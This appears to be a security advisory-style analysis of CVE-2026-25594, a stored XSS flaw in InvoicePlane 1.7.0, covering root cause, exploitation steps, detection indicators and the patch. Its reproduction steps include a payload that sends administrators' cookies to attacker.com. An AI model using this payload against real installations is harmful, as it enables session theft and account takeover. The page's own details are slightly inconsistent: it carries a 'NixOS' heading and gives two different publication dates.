CVE-2026-25594: 
NixOS vulnerability analysis and mitigation

CVE-2026-25594 is a Stored Cross-Site Scripting (XSS) vulnerability in InvoicePlane, a self-hosted open source invoicing application. The flaw exists in version 1.7.0 (and likely prior versions) where the family_name field is rendered without HTML encoding inside the family dropdown on the product form, allowing an authenticated administrator to inject malicious JavaScript that executes in other administrators' browsers. The vulnerability was published on February 18, 2026, and patched in version 1.7.1. It carries a CVSS v3.1 base score of 4.8 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS condition in application/modules/products/views/form.php at line 40, where the family_name value is echoed directly into the HTML without any HTML encoding. An authenticated administrator navigates to /index.php/families/form, enters a malicious JavaScript payload (e.g., <script>alert(1)</script>) in the Family Name field, saves it, and the payload is stored in the database. When any administrator subsequently visits /index.php/products/form, the unencoded family_name value is rendered inside the family dropdown, triggering script execution in the victim's browser. The attack requires high privileges (administrator) to inject the payload and user interaction (another admin visiting the product form) to trigger it (GitHub Advisory).

Successful exploitation enables an attacker with administrator access to execute arbitrary JavaScript in the browsers of other administrators who visit the product form. This admin-to-admin attack vector could be used to steal CSRF tokens, perform unauthorized administrative actions on behalf of the victim, inject phishing content, or exfiltrate session cookies — potentially leading to full account takeover of other administrator accounts. The scope is changed (cross-site), with low confidentiality and low integrity impact, and no availability impact (GitHub Advisory).

A proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, which includes step-by-step reproduction instructions. There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.009% (0.000090), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Red Hat CVE).

1. Authenticate as Administrator: Log in to the InvoicePlane 1.7.0 instance with valid administrator credentials.
2. Navigate to Family Form: Browse to /index.php/families/form to access the product family creation page.
3. Inject XSS Payload: Enter a malicious JavaScript payload in the Family Name field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a simpler test payload like <script>alert(1)</script>.
4. Save the Family: Submit the form to persist the malicious family name in the database.
5. Wait for Victim: When another administrator navigates to /index.php/products/form to create or edit a product, the family dropdown renders the unencoded family_name value, triggering the injected script in the victim's browser.
6. Achieve Objective: The executed script can steal session cookies, CSRF tokens, or perform actions on behalf of the victim administrator (GitHub Advisory).

• Logs: Web server access logs showing POST requests to /index.php/families/form with unusual or script-containing values in the family_name parameter; access logs showing administrator visits to /index.php/products/form shortly after a suspicious family was created.
• Database: Product family records in the database containing HTML tags or JavaScript code (e.g., <script>, onerror=, javascript:) in the family_name column.
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains immediately after visiting the product form, potentially carrying cookie or token data in query parameters.
• Application: Unexpected administrative actions (new users created, settings changed, data exported) performed under a legitimate administrator's session without their knowledge.

Upgrade InvoicePlane to version 1.7.1 or later, which patches this vulnerability by adding proper HTML encoding (htmlsc()) to the family_name output in the product form view. The fix is available at GitHub commit 93622f2df88a860d89bfee56012cabb2942061d6. As an interim workaround, restrict administrative access to trusted personnel only and audit existing product family names in the database for any entries containing HTML or JavaScript content. Organizations should also monitor administrator activity on the product form for suspicious family name entries (GitHub Advisory, GitHub Commit).

The vulnerability was reported by researcher lagathos and published by the InvoicePlane maintainer nielsdrost7 via GitHub Security Advisories on February 16, 2026. The advisory notes that version 1.7.1 addresses this and numerous other XSS vulnerabilities discovered during a comprehensive security audit of the codebase. Coverage has appeared on security aggregator sites including infinitsec.net and INCIBE-CERT, and the vulnerability has been indexed by Sploitus, indicating moderate community awareness (GitHub Advisory).